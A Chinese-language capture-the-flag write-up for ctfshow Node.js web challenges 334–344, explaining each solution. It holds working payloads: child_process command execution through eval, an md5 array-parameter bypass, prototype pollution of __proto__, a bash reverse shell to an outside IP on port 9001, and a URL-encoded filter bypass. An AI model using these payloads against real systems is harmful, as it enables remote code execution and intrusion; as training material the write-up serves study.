334
先下载zip文件,然后加上.zip,可以看到两个文件
在user中可以看到
输入即可得到flag
。
335.
这里提到eval函数,eval中可以执行js代码,可以尝试使用这个函数进行测试
payload(显示当前目录下的文件和文件夹列表)
require('child_process').spawnSync('ls',['.']).stdout.toString()
对payload的解释
require 是 Node.js 中用来引入模块的函数,在这里引用了Node.js的child_process模块
child_process 模块是 Node.js 标准库中的一个模块,它提供了创建子进程的功能,可以通过它执行系统命令、shell 脚本等。其中包含有spawnSync()方法,spawnSync函数可以用来执行系统命令
spawnSync(‘ls’,[‘.’]) 前面代表命令,后面是一个参数,这里的 . 代表着当前目录, … 代表上一级目录 …/… 代表上上级目录
这中间用于连接的两个点是用来访问对象属性的
'stdout’是一个缓冲区,它包含了子进程的标准输出,也就是说输出的内容在这里
toString()转换为字符串
发现了里面有fl00g,txt,应该就是存放flag的文件了,再构建payload
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
即可得到flag
336
和上一题类似
require('child_process').spawnSync('ls',['.']).stdout.toString()
这题就是把floog.txt改为fl001g.txt
require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
337
分析可得,这里就是判断存在a,b,a的长度等于b的长度,a不等于b(弱类型判断),md5加密a+flag和加密b+flag相等(强类型比较)
payload:
?a[]=1&b[]=1
338
下载源码
在routes中的login.js
上面一行调用了utils中的copy,我们根据所给的源码找到common.js
找到了原型污染,典型的merge函数
payload
"__proto__":{"ctfshow":"36dboy"}
339.
原型链污染,需要用到监听
通过api.js和commo0.jsn里的代码,可以实现原型链的污染
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
那么这里就是通过原型链污染query的值,通过给__proto__赋值污染到query,因为这些变量的最上层直接继承了Object.prototype,所以会实现污染的效果。
我们往query中构造payload即会在res.render('api', { query: Function(query)(query)});这段模板渲染的代码中实现RCE,因为query在函数体内执行了。
先抓包访问/login,实现query值的原型链污染,再访问/api来执行query的值。
payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}
但不知但为什么,这里总是出问题
之后几道都是如此
344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
console.log(req.url)
if(req.url.match(/8c|2c|\,/ig)){
res.end('111where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('222where is flag. :)');
}
});
这道题过滤了逗号以及逗号的url编码2c,可以用“&”连接三个属性,NodeJS会自动拼接:
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
同时还得进行url编码
?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d
因为在get之前双引号会被url编码为%22,与“ctfshow”组成“2c”,符合正则,可以通过